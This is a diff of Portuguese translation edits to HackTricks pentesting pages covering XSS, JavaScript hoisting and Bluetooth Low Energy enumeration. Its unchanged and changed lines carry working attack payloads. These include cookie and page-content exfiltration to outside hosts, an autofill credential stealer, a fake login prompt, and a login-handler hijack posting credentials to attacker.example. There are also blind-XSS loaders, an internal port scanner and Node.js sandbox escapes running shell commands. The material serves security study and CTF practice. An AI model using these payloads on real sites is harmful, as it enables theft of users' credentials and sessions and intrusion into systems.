@@ -866,22 +867,22 @@ document['default'+'View'][`\u0061lert`](3)
 ```
 ### XSS com header injection em uma resposta 302
 
-Se você descobrir que pode **inject headers in a 302 Redirect response** pode tentar **fazer o browser executar arbitrary JavaScript**. Isto **não é trivial** pois navegadores modernos não interpretam o corpo da resposta HTTP se o status code da resposta HTTP for 302, então apenas um payload de cross-site scripting é inútil.
+Se você descobrir que pode **inject headers in a 302 Redirect response** você pode tentar **fazer o browser executar arbitrary JavaScript**. Isso **não é trivial**, pois navegadores modernos não interpretam o corpo da resposta HTTP se o código de status da resposta HTTP for 302, então apenas um cross-site scripting payload é inútil.
 
-Em [**this report**](https://www.gremwell.com/firefox-xss-302) e [**this one**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) você pode ler como testar vários protocolos dentro do Location header e verificar se algum deles permite que o navegador inspecione e execute o payload XSS dentro do body.\
-Protocolos conhecidos anteriormente: `mailto://`, `//x:1/`, `ws://`, `wss://`, _empty Location header_, `resource://`.
+Em [**this report**](https://www.gremwell.com/firefox-xss-302) e [**this one**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) você pode ler como testar vários protocolos dentro do Location header e ver se algum deles permite que o navegador inspecione e execute o XSS payload dentro do body.\
+Past known protocols: `mailto://`, `//x:1/`, `ws://`, `wss://`, _empty Location header_, `resource://`.
 
-### Apenas Letras, Números e Pontos
+### Only Letters, Numbers and Dots
 
 Se você consegue indicar o **callback** que o javascript vai **execute** limitado a esses caracteres. [**Read this section of this post**](#javascript-function) para descobrir como abusar desse comportamento.
 
 ### Valid `<script>` Content-Types to XSS
 
-(From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Se você tentar carregar um script com um **content-type** como `application/octet-stream`, o Chrome lançará o seguinte erro:
+(From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) If you try to load a script with a **content-type** such as `application/octet-stream`, Chrome will throw following error:
 
 > Refused to execute script from ‘[https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx') because its MIME type (‘application/octet-stream’) is not executable, and strict MIME type checking is enabled.
 
-Os únicos **Content-Type**s que irão permitir ao Chrome executar um **loaded script** são os que estão dentro da const **`kSupportedJavascriptTypes`** de [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc)
+The only **Content-Type**s that will support Chrome to run a **loaded script** are the ones inside the const **`kSupportedJavascriptTypes`** from [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc)
 ```c
 const char* const kSupportedJavascriptTypes[] = {
 "application/ecmascript",
@@ -905,12 +906,12 @@ const char* const kSupportedJavascriptTypes[] = {
 ```
 ### Tipos de Script para XSS
 
-(From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Então, quais tipos poderiam ser indicados para carregar um script?
+(De [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Então, quais tipos poderiam ser indicados para carregar um script?
 ```html
 <script type="???"></script>
 ```
 - **module** (padrão, nada a explicar)
-- [**webbundle**](https://web.dev/web-bundles/): Web Bundles é um recurso que permite empacotar um conjunto de recursos (HTML, CSS, JS…) em um arquivo **`.wbn`**.
+- [**webbundle**](https://web.dev/web-bundles/): Web Bundles é um recurso que permite empacotar um conjunto de dados (HTML, CSS, JS…) em um arquivo **`.wbn`**.
 ```html
 <script type="webbundle">
 {
@@ -937,9 +938,9 @@ import moment from "moment"
 import { partition } from "lodash"
 </script>
 ```
-Esse comportamento foi usado em [**this writeup**](https://github.com/zwade/yaca/tree/master/solution) para remapear uma biblioteca para eval; abusar disso pode desencadear XSS.
+Esse comportamento foi usado em [**this writeup**](https://github.com/zwade/yaca/tree/master/solution) para remapear uma biblioteca para eval; seu abuso pode disparar XSS.
 
-- [**speculationrules**](https://github.com/WICG/nav-speculation)**:** Esse recurso existe principalmente para resolver alguns problemas causados pela pré-renderização. Funciona assim:
+- [**speculationrules**](https://github.com/WICG/nav-speculation)**:** Este recurso serve principalmente para resolver problemas causados pelo pré-rendering. Funciona assim:
 ```html
 <script type="speculationrules">
 {
@@ -957,20 +958,20 @@ Esse comportamento foi usado em [**this writeup**](https://github.com/zwade/yaca
 ```
 ### Web Content-Types para XSS
 
-(From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Os seguintes Content-Types podem executar XSS em todos os navegadores:
+(From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) The following content types can execute XSS in all browsers:
 
 - text/html
 - application/xhtml+xml
 - application/xml
 - text/xml
 - image/svg+xml
-- text/plain (?? não está na lista mas eu acho que vi isso em um CTF)
+- text/plain (?? not in the list but I think I saw this in a CTF)
 - application/rss+xml (off)
 - application/atom+xml (off)
 
-Em outros navegadores, outros **`Content-Types`** podem ser usados para executar JS arbitrário, veja: [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md)
+In other browsers other **`Content-Types`** can be used to execute arbitrary JS, check: [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md)
 
-### Content-Type xml
+### Tipo de conteúdo xml
 
 Se a página estiver retornando um content-type text/xml, é possível indicar um namespace e executar JS arbitrário:
 ```xml
@@ -982,9 +983,9 @@ Se a página estiver retornando um content-type text/xml, é possível indicar u
 ```
 ### Padrões Especiais de Substituição
 
-Quando algo como **`"some {{template}} data".replace("{{template}}", <user_input>)`** é usado. O atacante pode usar [**special string replacements**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the_replacement) para tentar contornar algumas proteções: `` "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"})) ``
+Quando algo como **`"some {{template}} data".replace("{{template}}", <user_input>)`** é usado. O atacante pode usar [**substituições especiais de string**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the_replacement) para tentar contornar algumas proteções: `` "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"})) ``
 
-Por exemplo, em [**this writeup**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA), isto foi usado para **escapar uma string JSON** dentro de um script e executar código arbitrário.
+Por exemplo em [**this writeup**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA), isso foi usado para **escapar uma string JSON** dentro de um script e executar código arbitrário.
 
 ### Chrome Cache to XSS
 
@@ -995,7 +996,7 @@ chrome-cache-to-xss.md
 
 ### XS Jails Escape
 
-Se você tem apenas um conjunto limitado de caracteres para usar, confira estas outras soluções válidas para problemas de XSJail:
+Se você tiver um conjunto limitado de caracteres para usar, confira estas outras soluções válidas para problemas de XSJail:
 ```javascript
 // eval + unescape + regex
 eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))()
@@ -1026,7 +1027,7 @@ constructor(source)()
 // For more uses of with go to challenge misc/CaaSio PSE in
 // https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE
 ```
-Se **tudo está undefined** antes de executar código não confiável (como em [**this writeup**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/index.html#miscx2fundefined55-solves)) é possível gerar objetos úteis "do nada" para abusar da execução de código arbitrário não confiável:
+Se **tudo for undefined** antes de executar código não confiável (como em [**this writeup**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/index.html#miscx2fundefined55-solves)) é possível gerar objetos úteis "do nada" para abusar da execução arbitrária de código não confiável:
 
 - Usando import()
 ```javascript
@@ -1035,7 +1036,7 @@ import("fs").then((m) => console.log(m.readFileSync("/flag.txt", "utf8")))
 ```
 - Acessando `require` indiretamente
 
-[According to this](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) os módulos são encapsulados pelo Node.js dentro de uma função, desta forma:
+[De acordo com isto](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) os módulos são encapsulados pelo Node.js dentro de uma função, assim:
 ```javascript
 ;(function (exports, require, module, __filename, __dirname) {
 // our actual module code
@@ -1050,7 +1051,7 @@ return arguments.callee.caller.arguments[1]("fs").readFileSync(
 )
 })()
 ```
-De maneira semelhante ao exemplo anterior, é possível **usar manipuladores de erro** para acessar o **wrapper** do módulo e obter a função **`require`**:
+De maneira semelhante ao exemplo anterior, é possível **usar error handlers** para acessar o **wrapper** do módulo e obter a função **`require`**:
 ```javascript
 try {
 null.f()
@@ -1088,9 +1089,9 @@ console.log(req("child_process").execSync("id").toString())
 }
 trigger()
 ```
-### Obfuscation & Advanced Bypass
+### Ofuscação & Bypass Avançado
 
-- **Diferentes obfuscations em uma página:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/)
+- **Diferentes ofuscações em uma página:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/)
 - [https://github.com/aemkei/katakana.js](https://github.com/aemkei/katakana.js)
 - [https://javascriptobfuscator.herokuapp.com/](https://javascriptobfuscator.herokuapp.com)
 - [https://skalman.github.io/UglifyJS-online/](https://skalman.github.io/UglifyJS-online/)
@@ -1278,9 +1279,9 @@ oﾟｰﾟo = (ﾟωﾟﾉ + "_")[c ^ _ ^ o]
 steal-info-js.md
 {{#endref}}
 
-### Armadilha de iframe
+### Iframe Trap
 
-Faça o usuário navegar na página sem sair de um iframe e roubar suas ações (incluindo informações enviadas em formulários):
+Faça o usuário navegar na página sem sair do iframe e roube suas ações (incluindo informações enviadas em formulários):
 
 
 {{#ref}}
@@ -1310,9 +1311,9 @@ Faça o usuário navegar na página sem sair de um iframe e roubar suas ações
 <script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>
 ```
 > [!TIP]
-> Você **não poderá acessar os cookies a partir do JavaScript** se a flag HTTPOnly estiver definida no cookie. Mas aqui você tem [algumas maneiras de contornar essa proteção](../hacking-with-cookies/index.html#httponly) se tiver sorte.
+> Você **não poderá acessar os cookies via JavaScript** se a flag HTTPOnly estiver definida no cookie. Mas aqui você tem [some ways to bypass this protection](../hacking-with-cookies/index.html#httponly) se tiver sorte suficiente.
 
-### Roubar conteúdo da página
+### Roubar Conteúdo da Página
 ```javascript
 var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8"
 var attacker = "http://10.10.14.8/exfil"
@@ -1386,7 +1387,7 @@ q.shift()()
 ```javascript
 const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); }
 ```
-### Port Scanner (websockets)
+### Scanner de Portas (websockets)
 ```python
 var ports = [80, 443, 445, 554, 3306, 3690, 1234];
 for(var i=0; i<ports.length; i++) {
@@ -1401,15 +1402,15 @@ console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms")
 };
 }
 ```
-_Tempos curtos indicam um port que responde_ _Tempos mais longos indicam sem resposta._
+_Tempos curtos indicam uma porta que responde_ _Tempos mais longos indicam sem resposta._
 
-Consulte a lista de ports banidas no Chrome [**here**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net_util.cc) e no Firefox [**here**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist).
+Revise a lista de portas bloqueadas no Chrome [**here**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net_util.cc) e no Firefox [**here**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist).
 
-### Caixa para pedir credenciais
+### Caixa para solicitar credenciais
 ```html
 <style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>
 ```
-### Captura de senhas Auto-fill
+### Auto-fill passwords capture
 ```javascript
 <b>Username:</><br>
 <input name=username id=username>
@@ -1420,13 +1421,11 @@ mode: 'no-cors',
 body:username.value+':'+this.value
 });">
 ```
-When any data is introduced in the password field, the username and password is sent to the attackers server, even if the client selects a saved password and don't write anything the credentials will be ex-filtrated.
+Quando qualquer dado é introduzido no campo de senha, o nome de usuário e a senha são enviados para o servidor do atacante; mesmo que o cliente selecione uma senha salva e não escreva nada, as credenciais serão ex-filtrated.
 
-### Hijack form handlers to exfiltrate credentials (const shadowing)
+### Interceptar manipuladores de formulário para exfiltrar credenciais (const shadowing)
 
-Quando qualquer dado é inserido no campo password, o username e a password são enviados para o attacker's server; mesmo que o cliente selecione uma password salva e não escreva nada, as credenciais serão exfiltradas.
-
-Se um handler crítico (por exemplo, `function DoLogin(){...}`) for declarado mais abaixo na página, e seu payload for executado antes (por exemplo, via um inline JS-in-JS sink), defina primeiro um `const` com o mesmo nome para antecipar e bloquear o handler. Declarações de função posteriores não podem reatribuir um nome `const`, deixando seu hook no controle:
+Se um manipulador crítico (p.ex., `function DoLogin(){...}`) for declarado mais tarde na página, e seu payload rodar antes (p.ex., via um inline JS-in-JS sink), defina um `const` com o mesmo nome primeiro para antecipar e bloquear o manipulador. Declarações de função posteriores não podem reatribuir um nome `const`, deixando seu hook no controle:
 ```javascript
 const DoLogin = () => {
 const pwd  = Trim(FormInput.InputPassword.value);
@@ -1435,9 +1434,9 @@ fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURICom
 };
 ```
 Notas
-- Isto depende da ordem de execução: sua injeção deve ser executada antes da declaração legítima.
-- Se seu payload estiver envolvido em `eval(...)`, `const/let` bindings não se tornarão globals. Use a injeção dinâmica `<script>` da seção “Deliverable payloads with eval(atob()) and scope nuances” para garantir um binding global verdadeiro e não reatribuível.
-- Quando filtros por palavras-chave bloquearem código, combine com identificadores escapados em Unicode ou entrega via `eval(atob('...'))`, como mostrado acima.
+- Isso depende da ordem de execução: sua injection deve ser executada antes da declaração legítima.
+- Se seu payload estiver encapsulado em `eval(...)`, as declarações `const/let` não se tornarão globais. Use a técnica dinâmica de `<script>` injection da seção “Deliverable payloads with eval(atob()) and scope nuances” para garantir uma variável global verdadeira, não reatribuível.
+- Quando filtros de palavras-chave bloquearem código, combine com identificadores escapados em Unicode ou entrega via `eval(atob('...'))`, como mostrado acima.
 
 ### Keylogger
 
@@ -1463,7 +1462,7 @@ changeReq.send('csrf='+token+'&email=test@test.com')
 };
 </script>
 ```
-### Roubando mensagens do PostMessage
+### Roubando mensagens PostMessage
 ```html
 <img src="https://attacker.com/?" id=message>
 <script>
@@ -1492,7 +1491,7 @@ shadow-dom.md
 https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt
 {{#endref}}
 
-### Blind XSS payloads
+### Payloads para Blind XSS
 
 Você também pode usar: [https://xsshunter.com/](https://xsshunter.com)
 ```html
@@ -1559,9 +1558,9 @@ javascript:eval(atob("Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4Ln
 <!-- In case your target makes use of AngularJS -->
 {{constructor.constructor("import('{SERVER}/script.js')")()}}
 ```
-### Regex - Acesso a Conteúdo Oculto
+### Regex - Acessar Conteúdo Oculto
 
-From [**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) é possível aprender que, mesmo que alguns valores desapareçam do JS, ainda é possível encontrá-los em atributos JS em diferentes objetos. Por exemplo, um input de um REGEX ainda pode ser encontrado depois que o valor do input do regex foi removido:
+A partir de [**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) é possível aprender que, mesmo que alguns valores desapareçam do JS, ainda é possível encontrá-los em atributos JS em diferentes objetos. Por exemplo, um input de um REGEX ainda pode ser encontrado depois que o valor do input do regex foi removido:
 ```javascript
 // Do regex with flag
 flag = "CTF{FLAG}"
@@ -1578,14 +1577,14 @@ console.log(
 document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"]
 )
 ```
-### Lista de Brute-Force
+### Brute-Force List
 
 
 {{#ref}}
 https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt
 {{#endref}}
 
-## XSS Abusando de outras vulnerabilidades
+## XSS Abusando outras vulnerabilidades
 
 ### XSS em Markdown
 
@@ -1598,7 +1597,7 @@ xss-in-markdown.md
 
 ### XSS para SSRF
 
-Conseguiu XSS em um **site que usa caching**? Tente **elevar isso para SSRF** através de Edge Side Include Injection com este payload:
+Obteve XSS em um **site que usa caching**? Tente **transformar isso em SSRF** através de Edge Side Include Injection com este payload:
 ```python
 <esi:include src="http://yoursite.com/capture" />
 ```
@@ -1607,15 +1606,15 @@ Mais informações sobre esta técnica aqui: [**XSLT**](../xslt-server-side-inje
 
 ### XSS em PDF criado dinamicamente
 
-Se uma página web está criando um PDF usando entrada controlada pelo usuário, você pode tentar **enganar o bot** que está criando o PDF para **executar código JS arbitrário**.\
-Então, se o **bot criador do PDF encontrar** algum tipo de **HTML** **tags**, ele vai **interpretá-las**, e você pode **abusar** desse comportamento para causar um **Server XSS**.
+Se uma página web está criando um PDF usando input controlado pelo usuário, você pode tentar **enganar o bot** que está criando o PDF para **executar código JS arbitrário**.\
+Assim, se o **bot criador de PDF encontrar** algum tipo de **HTML** **tags**, ele vai **interpretá-las**, e você pode **abusar** desse comportamento para causar um **Server XSS**.
 
 
 {{#ref}}
 server-side-xss-dynamic-pdf.md
 {{#endref}}
 
-Se você não consegue injetar **HTML** **tags** pode valer a pena tentar **injetar dados PDF**:
+Se você não conseguir injetar **HTML** **tags**, pode valer a pena tentar **injetar dados PDF**:
 
 
 {{#ref}}
@@ -1624,15 +1623,15 @@ pdf-injection.md
 
 ### XSS em Amp4Email
 
-AMP, voltado para acelerar o desempenho de páginas web em dispositivos móveis, incorpora **HTML** **tags** suplementadas por JavaScript para garantir funcionalidade com ênfase em velocidade e segurança. Ele suporta uma variedade de componentes para diferentes funcionalidades, acessíveis via [AMP components](https://amp.dev/documentation/components/?format=websites).
+AMP, destinado a acelerar o desempenho de páginas web em dispositivos móveis, incorpora **HTML** tags suplementadas por **JavaScript** para garantir funcionalidade com ênfase em velocidade e segurança. Ele suporta uma variedade de componentes para recursos diversos, acessíveis via [AMP components](https://amp.dev/documentation/components/?format=websites).
 
-O formato [**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) estende componentes AMP específicos para emails, permitindo que os destinatários interajam com o conteúdo diretamente dentro de seus emails.
+O formato [**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) estende componentes AMP específicos para emails, permitindo que os destinatários interajam com o conteúdo diretamente dentro dos seus emails.
 
 Exemplo [**writeup XSS in Amp4Email in Gmail**](https://adico.me/post/xss-in-gmail-s-amp4email).
 
 ### XSS ao enviar arquivos (svg)
 
-Envie como imagem um arquivo como o seguinte (de [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)):
+Faça upload como imagem de um arquivo como o seguinte (de [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)):
 ```html
 Content-Type: multipart/form-data; boundary=---------------------------232181429808
 Content-Length: 574
@@ -1688,9 +1687,9 @@ id="foo"/>
 ```xml
 <svg><use href="data:image/svg+xml,&lt;svg id='x' xmlns='http://www.w3.org/2000/svg' &gt;&lt;image href='1' onerror='alert(1)' /&gt;&lt;/svg&gt;#x" />
 ```
-Encontre **mais SVG payloads em** [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
+Encontre **mais payloads SVG em** [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
 
-## Diversos truques de JS & Informações relevantes
+## Truques JS Diversos & Informações Relevantes
 
 
 {{#ref}}

src/pentesting-web/xss-cross-site-scripting/js-hoisting.md

@@ -2,31 +2,31 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-## Informações Básicas
+## Informação Básica
 
-Na linguagem JavaScript existe um mecanismo conhecido como **Hoisting** em que declarações de variáveis, funções, classes ou imports são conceitualmente elevadas ao topo do seu escopo antes da execução do código. Esse processo é realizado automaticamente pelo motor do JavaScript, que percorre o script em múltiplas passadas.
+Na linguagem JavaScript, existe um mecanismo conhecido como **Hoisting** onde declarações de variáveis, funções, classes ou imports são conceitualmente elevadas ao topo do seu escopo antes da execução do código. Esse processo é realizado automaticamente pelo engine do JavaScript, que percorre o script em múltiplas passagens.
 
-Durante a primeira passagem, o motor analisa o código para verificar erros de sintaxe e o transforma em uma árvore de sintaxe abstrata. Essa fase inclui hoisting, um processo onde certas declarações são movidas para o topo do contexto de execução. Se a fase de parsing for bem-sucedida, indicando ausência de erros de sintaxe, a execução do script prossegue.
+Durante a primeira passagem, o engine faz o parse do código para verificar erros de sintaxe e o transforma em uma abstract syntax tree. Essa fase inclui hoisting, um processo onde certas declarações são movidas para o topo do contexto de execução. Se a fase de parsing for bem-sucedida, indicando ausência de erros de sintaxe, a execução do script prossegue.
 
 É crucial entender que:
 
-1. O script deve estar livre de erros de sintaxe para que a execução ocorra. As regras de sintaxe devem ser rigorosamente respeitadas.
+1. O script deve estar livre de erros de sintaxe para que a execução ocorra. As regras de sintaxe devem ser rigorosamente seguidas.
 2. A colocação do código dentro do script afeta a execução devido ao hoisting, embora o código executado possa diferir da sua representação textual.
 
 #### Tipos de Hoisting
 
-Com base nas informações do MDN, existem quatro tipos distintos de hoisting em JavaScript:
+Com base nas informações da MDN, existem quatro tipos distintos de hoisting em JavaScript:
 
-1. **Value Hoisting**: Permite o uso do valor de uma variável dentro do seu escopo antes da linha de declaração.
+1. **Value Hoisting**: Permite usar o valor de uma variável dentro do seu escopo antes da linha em que ela é declarada.
 2. **Declaration Hoisting**: Permite referenciar uma variável dentro do seu escopo antes da sua declaração sem causar um `ReferenceError`, mas o valor da variável será `undefined`.
-3. Esse tipo altera o comportamento dentro do seu escopo porque a declaração da variável é considerada antes da sua linha real de declaração.
-4. Os efeitos colaterais da declaração ocorrem antes que o restante do código que a contém seja avaliado.
+3. Esse tipo altera o comportamento dentro do seu escopo devido à declaração da variável antes da sua linha de declaração real.
+4. Os efeitos colaterais da declaração ocorrem antes do restante do código que a contém ser avaliado.
 
-Em detalhe, declarações de função exibem o comportamento de hoisting do tipo 1. A `var` demonstra o comportamento do tipo 2. Declarações lexicais, que incluem `let`, `const` e `class`, mostram o comportamento do tipo 3. Por fim, declarações `import` são únicas por serem hoisted com os comportamentos de tipo 1 e tipo 4.
+Em detalhe, function declarations exibem comportamento de hoisting do tipo 1. A keyword `var` demonstra comportamento do tipo 2. Declarações lexicais, que incluem `let`, `const`, e `class`, mostram comportamento do tipo 3. Por fim, as declarações `import` são únicas, pois são hoisted com comportamentos dos tipos 1 e 4.
 
 ## Cenários
 
-Portanto, se você tiver cenários onde pode **Inject JS code after an undeclared object** is used, você poderia **fix the syntax** declarando-o (assim seu código será executado em vez de lançar um erro):
+Portanto, se você tiver cenários em que pode **Inject JS code after an undeclared object** is used, você poderia **fix the syntax** declarando-o (assim seu código será executado em vez de lançar um erro):
 ```javascript
 // The function vulnerableFunction is not defined
 vulnerableFunction('test', '<INJECTION>');
@@ -129,9 +129,9 @@ alert(1) -
 }
 trigger()
 ```
-### Antecipe declarações posteriores travando um nome com const
+### Antecipe declarações posteriores bloqueando um nome com const
 
-Se você puder executar antes que uma `function foo(){...}` de nível superior seja analisada, declarar uma vinculação léxica com o mesmo nome (por exemplo, `const foo = ...`) impedirá que a declaração de função posterior reatribua esse identificador. Isso pode ser abusado em RXSS para sequestrar manipuladores críticos definidos mais adiante na página:
+Se você puder executar antes que uma declaração de nível superior `function foo(){...}` seja analisada, declarar um binding léxico com o mesmo nome (por exemplo, `const foo = ...`) impedirá que a declaração de função posterior reatribua esse identificador. Isso pode ser abusado em RXSS para sequestrar handlers críticos definidos mais adiante na página:
 ```javascript
 // Malicious code runs first (e.g., earlier inline <script>)
 const DoLogin = () => {
@@ -145,7 +145,7 @@ function DoLogin(){ /* ... */ } // cannot override the existing const binding
 ```
 Notas
 - Isto depende da ordem de execução e do escopo global (nível superior).
-- Se seu payload for executado dentro de `eval()`, lembre-se de que `const/let` dentro de `eval` são com escopo de bloco e não vão criar ligações globais. Injete um novo elemento `<script>` com o código para estabelecer um `const` global verdadeiro.
+- Se seu payload for executado dentro de `eval()`, lembre-se de que `const/let` dentro de `eval` têm escopo de bloco e não criarão vínculos globais. Injete um novo elemento `<script>` com o código para estabelecer um verdadeiro `const` global.
 
 ## Referências
 

src/todo/radio-hacking/pentesting-ble-bluetooth-low-energy.md

@@ -4,19 +4,19 @@
 
 ## Introdução
 
-Disponível desde a especificação Bluetooth 4.0, o BLE usa apenas 40 canais, cobrindo a faixa de 2400 a 2483,5 MHz. Em contraste, o Bluetooth tradicional usa 79 canais nessa mesma faixa.
+Disponível desde a especificação Bluetooth 4.0, o BLE usa apenas 40 canais, cobrindo a faixa de 2400 a 2483,5 MHz. Em contraste, o Bluetooth tradicional usa 79 canais na mesma faixa.
 
-Dispositivos BLE se comunicam enviando **advertising packets** (**beacons**); esses pacotes anunciam a existência do dispositivo BLE para outros dispositivos próximos. Esses beacons às vezes também **enviam dados**.
+Os dispositivos BLE comunicam-se enviando **advertising packets** (**beacons**); esses pacotes anunciam a existência do dispositivo BLE para outros dispositivos próximos. Esses beacons às vezes também **enviam dados**.
 
-O dispositivo que escuta, também chamado de central, pode responder a um pacote de advertising com uma **SCAN request** enviada especificamente ao dispositivo que anuncia. A **response** a esse scan usa a mesma estrutura do **advertising** packet com informações adicionais que não couberam na solicitação inicial de advertising, como o nome completo do dispositivo.
+O dispositivo que escuta, também chamado de dispositivo central, pode responder a um advertising packet com uma **SCAN request** enviada especificamente ao dispositivo anunciante. A **resposta** a esse scan usa a mesma estrutura do pacote **advertising** com informações adicionais que não couberam no advertising inicial, como o nome completo do dispositivo.
 
 ![](<../../images/image (152).png>)
 
-O byte de preâmbulo sincroniza a frequência, enquanto o endereço de acesso de quatro bytes é um **connection identifier**, usado em cenários onde múltiplos dispositivos tentam estabelecer conexões nos mesmos canais. Em seguida, a Protocol Data Unit (**PDU**) contém os **advertising data**. Existem vários tipos de PDU; os mais comumente usados são **ADV_NONCONN_IND** e **ADV_IND**. Dispositivos usam o tipo de PDU **ADV_NONCONN_IND** se **não aceitam conexões**, transmitindo dados apenas no pacote de advertising. Dispositivos usam **ADV_IND** se **permitirem conexões** e **param de enviar advertising** packets uma vez que uma **connection** tenha sido **established**.
+O byte de preâmbulo sincroniza a frequência, enquanto o endereço de acesso de quatro bytes é um **identificador de conexão**, usado em cenários onde múltiplos dispositivos tentam estabelecer conexões nos mesmos canais. Em seguida, a Protocol Data Unit (**PDU**) contém os **advertising data**. Existem vários tipos de PDU; os mais comumente usados são ADV_NONCONN_IND e ADV_IND. Dispositivos usam o tipo de PDU **ADV_NONCONN_IND** se eles **não aceitam conexões**, transmitindo dados apenas no pacote advertising. Dispositivos usam **ADV_IND** se eles **permitem conexões** e **param de enviar advertising** pacotes assim que uma **conexão** é **estabelecida**.
 
 ### GATT
 
-O **Generic Attribute Profile** (GATT) define como o **dispositivo deve formatar e transferir dados**. Ao analisar a superfície de ataque de um dispositivo BLE, você frequentemente concentra sua atenção no GATT (ou GATTs), porque é assim que a **funcionalidade do dispositivo é acionada** e como os dados são armazenados, agrupados e modificados. O GATT lista as **characteristics**, **descriptors** e **services** de um dispositivo em uma tabela como valores de 16 ou 32 bits. Uma **characteristic** é um valor de **data** enviado entre o dispositivo central e o peripheral. Essas **characteristics** podem ter **descriptors** que fornecem informações adicionais sobre elas. **Characteristics** são frequentemente **agrupadas** em **services** se estiverem relacionadas à execução de uma ação específica.
+O **Perfil Genérico de Atributos (GATT)** define como o **dispositivo deve formatar e transferir dados**. Ao analisar a superfície de ataque de um dispositivo BLE, você frequentemente concentra sua atenção no GATT (ou GATTs), porque é assim que a **funcionalidade do dispositivo é acionada** e como os dados são armazenados, agrupados e modificados. O GATT lista as características, descritores e serviços de um dispositivo em uma tabela como valores de 16 ou 32 bits. Uma **característica** é um valor de **dados** **enviado** entre o dispositivo central e o periférico. Essas características podem ter **descritores** que **fornecem informações adicionais sobre elas**. As **características** são frequentemente **agrupadas** em **serviços** se estiverem relacionadas à execução de uma ação específica.
 
 ## Enumeração
 ```bash
@@ -30,8 +30,8 @@ spooftooph -i hci0 -a 11:22:33:44:55:66
 ```
 ### GATTool
 
-**GATTool** permite **estabelecer** uma **conexão** com outro dispositivo, listar as **características** desse dispositivo e ler e gravar seus atributos.\
-GATTTool pode iniciar um shell interativo com a opção `-I`:
+**GATTool** permite **estabelecer** uma **conexão** com outro dispositivo, listar as **characteristics** desse dispositivo e ler e escrever seus atributos.\
+GATTTool pode iniciar um interactive shell com a opção `-I`:
 ```bash
 gatttool -i hci0 -I
 [ ][LE]> connect 24:62:AB:B1:A8:3E Attempting to connect to A4:CF:12:6C:B3:76 Connection successful
